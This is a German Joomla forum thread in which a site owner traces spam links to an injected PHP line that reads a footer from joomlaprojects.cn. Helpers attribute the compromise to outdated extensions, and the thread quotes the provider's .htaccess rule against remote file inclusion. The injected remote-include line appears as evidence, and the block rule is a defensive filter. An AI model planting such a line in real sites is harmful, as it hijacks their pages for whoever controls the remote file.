+ Antworten
Seite 1 von 3 1 2 3 LetzteLetzte
Ergebnis 1 bis 10 von 23

Thema: Eintrag von joomlaprojects.cn

  1. #1
    Neu an Board Avatar von akunter
    Registriert seit
    28.07.2005
    Ort
    Dortmund
    Alter
    39
    Beiträge
    17
    Bedankte sich
    3
    Erhielt 2 Danksagung
    in 1 Beitrag

    Standard Eintrag von joomlaprojects.cn

    Hallo zusammen,

    ich war gerade etwas erschrocken , denn plötzlich tauchte auf zwei meiner Websites (kunter.it und spd-hombruch.de) in der ersten Zeile "Buy ***** OEM Software - Discount ;-) " mit Link auf amerlox.com auf. Zu sehen ist dieser Eintrag nicht in Firefox, jedoch im IE und Opera (andere habe ich nicht getestet). Dieser Eintrag muss in der Nacht über den Codeschnipsel
    Code:
    <?php readfile('http://www.joomlaprojects.cn/footer.php'); ?>
    in die index.php des templates gelangt sein. Ich habe es auskommentiert und schon war auch der Eintrag weg ... Aber wie konnte das passieren? Die Dateien gehören wwwrun (spd-hombruch.de) bzw. mir (FTP-User bei kunter.it) und haben CHMOD 644, die Ordner 755 ...

    Beides sind Seiten, auf denen auch Docman läuft. Auf kunter.it in Version 1.4, auf spd-hombruch.de in Version 1.3RC2. Weiterhin gleich ist, dass JoomlaStats läuft, der läuft aber auch auf anderen Projekten ... Docman wäre neben der Joomla-Version und dem Provider der einzige gemeinsame Nenner, da drei weitere Projekte (noch?) nicht betroffen sind. Der Server kunter.it läuft mit PHP 5 im CGI-Modus (wg. Book Library), also leider mit magic_quotes_gpc OFF und register_globals ON. spd-hombruch.de läuft mit PHP 4. Auf beiden ist Joomla 1.0.15 installiert. Mein Provider ist All-Inkl.

    Hat jemand eine Idee, wie jemand es schaffen konnte, diesen Codeschnipsel einzufügen? Ich jedenfalls bin ratlos ...

    Vielen Dank!

  2. #2
    Moderator Avatar von flotte
    Registriert seit
    20.03.2005
    Ort
    Neustadt
    Beiträge
    5.301
    Bedankte sich
    66
    Erhielt 1.258 Danksagungen
    in 1.101 Beiträgen

    Standard

    Prüfe mal, ob diese readfile-Anweisung nicht auf dem Template selbst stammt. Hol Dir noch mal das Original und sieh dort nach.
    Hast Du auch geprüft, ob die index.php ein aktuelles Änderungsdatum hatte?
    Geändert von flotte (01.03.2009 um 12:31 Uhr)

  3. Erhielt Danksagungen von:


  4. #3
    Neu an Board Avatar von akunter
    Registriert seit
    28.07.2005
    Ort
    Dortmund
    Alter
    39
    Beiträge
    17
    Bedankte sich
    3
    Erhielt 2 Danksagung
    in 1 Beitrag

    Standard

    Vielen Dank! Aber das hilft mir leider nicht weiter. Beide Templates enthielten den Codeschnipsel definitiv nicht. Das Template spd-hombruch.de habe ich (fast) komplett selber "gestrickt", das andere ist im Original das Telenordirekte der Mambo Template Factory. Das verwende ich auch bei einem andere Projekt und dort gibt's den Eintrag nicht.

    Auf kunter.it hatte ich erst das Problem, dass bis gestern ca. 16.30 Uhr Docman 1.3RC2 noch einwandfrei funktionierte, dann aber aus mir nicht bekannten Gründen nicht mehr. Ich habe es aber auch nicht zum Laufen bekommen ... die Version 1.4 läuft dort nun stabil ... daher im ersten Posting auch der Hinweis auf Docman ... ich weiß aber nicht, ob's wirklich damit zusammenhängt.

    Bin mal gespannt, was mein Provider All-Inkl sagt, den habe ich auch angefragt. Kann es wohl eher sein, dass jemand den Server gehackt hat?

  5. #4
    Moderator Avatar von flotte
    Registriert seit
    20.03.2005
    Ort
    Neustadt
    Beiträge
    5.301
    Bedankte sich
    66
    Erhielt 1.258 Danksagungen
    in 1.101 Beiträgen

    Standard

    Also, wenn Du Dir sicher bist das dieser Codeschnipsel bislang nicht vorhanden war und auch niemenand der eventuell anderen Webmaster diesen eingebaut hat, dann gibt es nur ein Schlussfolgerung: Die Seite(n) wurde(n) gehackt. Vorgehensweise hier.

    Unwahrscheinlich ist das nicht, denn schon mit DOCman 1.3RC2 hast Du eine seit langer Zeit als bekannt unsichere Komponnte in Betrieb. Ich seh da auch noch andere unsichere Dinge wie z.B. die Zoom... Das ein Angreifer nur einen solchen Codeschnispel unterbringt hab ich allerdings noch nicht erlebt. Das ändert aber nichts an obiger Schlussfolgerung.

  6. #5
    Neu an Board Avatar von akunter
    Registriert seit
    28.07.2005
    Ort
    Dortmund
    Alter
    39
    Beiträge
    17
    Bedankte sich
    3
    Erhielt 2 Danksagung
    in 1 Beitrag

    Standard

    Ja, das ist auch meine Vermutung.

    Habe den Anweisungen mal Folge geleistet und mittels Passwortschutz die Seite vom Netz genommen. Ich schaue mal in meinen Sicherungen nach und warte, was der Provider noch so zu sagen hat ... denn ich vermute frechweg, dass eigentlich sein Server gehackt worden ist ... wie sonst soll jemand die Datei ändern können ... und dann - wie Du ja auch schon sagst - nur so geringfügig ... ob's eher ein "Testballon" war?

    Falls noch gute Ideen entstehen ... ich bin offen dafür Wie's mit dem Thema weitergeht werde ich hier dokumentieren ...

  7. #6
    Hat hier eine Zweitwohnung
    Registriert seit
    30.03.2008
    Ort
    Herne
    Beiträge
    1.591
    Bedankte sich
    81
    Erhielt 388 Danksagungen
    in 377 Beiträgen

    Standard

    Abzuwarten was der Provider dazu sagt, ist nicht die sinnvolle Lösung.

    Les Dir mal vor allem flottes zweiten Absatz noch mal durch, der besagt, kurz zusammengefaßt: Deine Schuld, nicht die des Providers.

    Aber während Du wartest, könntest Du schon mal Deine weiteren Installationen prüfen, z.B. auf die Verwendung einer veralteten docman Version, sonst mußt Du den Thread hier ggf. um einige Domains erweitern und eigentlich ist das immer Schade.
    VielfaltRuhrgebiet.de

    Problem gelöst? Dann markieren! Wie? und für Danke gibt es nen Button

  8. Erhielt Danksagungen von:


  9. #7
    Neu an Board Avatar von akunter
    Registriert seit
    28.07.2005
    Ort
    Dortmund
    Alter
    39
    Beiträge
    17
    Bedankte sich
    3
    Erhielt 2 Danksagung
    in 1 Beitrag

    Standard

    Nicht nur warten ... logisch ... Habe zwischenzeitlich herausgefunden, welche der Komponenten und Module als unsicher deklariert sind (lt. joomla-downloads.de). Das sind schon einige ... habe diese gepatcht bzw. die aktuellen "sicheren" Versionen heruntergeladen. Unsicher waren
    • Docman 1.3RC
    • Events 1.3
    • joomlaXplorer 1.5
    • joomlaFCKEditor
    • zOOm Media Gallery 2.5
    Schon nicht wenig ... vor allem der joomlaXplorer ...

    Als unsicher gilt ja auch BigApe ... heißt bei mir SiteBackup (com_babackup 1.1) und ich bin eigentlich recht zufrieden. Gibt es da etwas vergleichbares, was sicher ist für Joomla 1.0.15?

  10. #8
    Hat hier eine Zweitwohnung
    Registriert seit
    30.03.2008
    Ort
    Herne
    Beiträge
    1.591
    Bedankte sich
    81
    Erhielt 388 Danksagungen
    in 377 Beiträgen

    Standard

    SiteBackup ist nen Backup tool vermute ich mal.
    Ich verwende Mysqldumper, läßt sich über cronejobs anstoßen, und manuellen download sich ändernder Verzeichnisse. Da ich faul bin werd ich das noch automatisieren, mit cuteftp

    Wofür haste joomexplorer drauf, wenn Du bei all-inkl bist?

    Wenn Du gehackt worden bist, davon gehe ich jetzt mal aus, dann ist das was Du gefunden hast nicht zwngsläufig das was verändert worden ist. Also Flottes Liste komplett abarbeiten. Solltest Du kein backup haben, das vor dem Angriff lag, frag mal bei all-inkl, normalerweise haben die und je nach paket können sie es auch problemlos einspielen, ob das was kostet weiß ich aber nicht.
    VielfaltRuhrgebiet.de

    Problem gelöst? Dann markieren! Wie? und für Danke gibt es nen Button

  11. #9
    Neu an Board Avatar von akunter
    Registriert seit
    28.07.2005
    Ort
    Dortmund
    Alter
    39
    Beiträge
    17
    Bedankte sich
    3
    Erhielt 2 Danksagung
    in 1 Beitrag

    Standard

    Wofür haste joomexplorer drauf, wenn Du bei all-inkl bist?
    Das war eigentlich nie wirklich wichtig, einfach nur eine Spielerei, um mal eben (nicht nur vom heimischen Rechner) ins Verzeichnis zu schauen etc. Notwendig ist es nicht.

    SiteBackup ist nen Backup tool vermute ich mal.
    Richtig! Und es erstellt von Deinen Verzeichnissen/Dateien ein ZIP-File und packt den SQL-Dump auch gleich dazu. Das ganze funktioniert manuell. Eben recht komfortabel, denn ich bin ansonsten auch eher "faul", was Sicherungen angeht ...

    Meine letzte Sicherung vom 16.02. hatte die obige Codezeile von der China-Domain mit Server in D nicht. Im Vergleich der Dateien habe ich bislang auch keine Änderungen feststellen können ... im SQL-Dump war auch nichts zu finden ... scheint wirklich nur diese eine Änderung zu sein ... suche noch ein wenig weiter ...

  12. #10
    Neu an Board Avatar von akunter
    Registriert seit
    28.07.2005
    Ort
    Dortmund
    Alter
    39
    Beiträge
    17
    Bedankte sich
    3
    Erhielt 2 Danksagung
    in 1 Beitrag

    Standard

    Rückmeldung des Providers:

    [...] der Angreifer kann lediglich mit Hilfe Ihrer FTP Daten oder mittels Sicherheitslücke Ihres Systems die Daten platziert haben.

    Einen 100%igen Schutz gegen Hackerangriffe gibt es leider nicht. In erster Linie ist dafür zu sorgen, dass die auf dem Webserver verwendete Software bzw. eingesetzte Scripte keine Sicherheitslücken aufweisen.

    Sind derartige Sicherheitslücken vorhanden, kann auch ein absolut abgesicherter Webserver keinen effektiven Schutz vor Hackerangriffen bieten!

    Achten Sie bitte darauf, stets die von den jeweiligen Softwareherstellern bereitgestellten Sicherheitspatches und Updates zu installieren, um Ihr System möglichst sicher zu halten.

    Ferner sollten Sie insbesondere bei selbst erstellten UploadScripten oder anderen Scripten die in irgend einer Form Daten zum Webserver übertragen darauf achten, dass nur Daten oder Dateitypen transferiert werden können, die keinen Schaden anrichten können (also in keinem Fall Dateien mit der Endung .pl, .cgi, .phtml, .php, .phpx, .exe, .sh - um die wichtigsten zu nennnen). Bauen Sie hier also unbedingt entsprechende Prüfroutinen ein!

    Erstellen Sie sich zudem eine .htaccess-Datei im Stammverzeichnis Ihres Accountes mit dem folgenden Inhalt:

    RewriteEngine On
    RewriteCond %{QUERY_STRING} (.*)=http(.*)
    RewriteRule ^(.*) - [F]

    php_flag magic_quotes_gpc on
    php_flag register_globals off

    php_flag display_errors off
    php_value error_reporting off


    Erklärung:
    Die ersten 3 Zeilen verhindern, dass schadhafte Dateien wie beispielsweise PHP-Filemanager von fremden URLs über http://... per Parameterübergabe in der URL eingebunden werden können.

    Die 5. Zeile Schaltet den PHP-Flag magic_quotes_gpc der PHP.ini an, welcher im Wert off unter Umständen die Ausführung von in Formularfeldern eingegebenen PHP- oder SQL-Code zur Folge haben könnte. Ist der Flag hingegen angeschalten, wird allen eingegebenen Hochkommas (') oder Anführungszeichen (") ein Backslash ()vorangestellt, was die Ausführung von eingegebenen Code erschwehren oder sogar verhindern kann.

    Die 6. Zeile setzt den PHP-Flag register_globals auf off. Die in einem Script verwendeten Variablen sind so besser von den übergebenen Benutzervariablen isoliert. Die "Injizierung" Ihrer Variablen mit schadhaften Werten wird mit dem Wert "php_flag register_globals off" somit bedeutend erschwert.
    Die letzten beiden Zeilen schalten das Error-Reporting und die Error-Anzeige aus. Bei eventuell auftretenden PHP-Fehlern werden dem User meist interne Pfadangaben und Scriptinterna ausgegeben, die das Debugging für Entwickler zwar erleichtern, einen möglichen Hackerangriff jedoch ebenfalls, das der Hacker somit wichtige Accountdetails in Erfahrung bringen kann, wie beispielsweise den Pfad zum Webhome und den Accountnamen [...] sowie wichtige andere Parameter und Variablennamen in Scripten.

    Beachten Sie bitte, dass
    php_flag magic_quotes_gpc on
    php_flag register_globals off
    php_flag display_errors off
    php_value error_reporting off

    nicht greift, wenn PHP als CGI-Modul ausgeführt wird.

    Dies sind nur einige wenige Massnahmen, die man treffen kann, um seinen Account besser gegen Hacking abzusichern.
    Fast bekannt und erwartet, nur dies
    Code:
    RewriteEngine On
    RewriteCond %{QUERY_STRING}   (.*)=http(.*)
    RewriteRule ^(.*)  - [F]
    kannte ich noch nicht. Könnt Ihr diese Einstellung bestätigen?

+ Antworten
Seite 1 von 3 1 2 3 LetzteLetzte

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein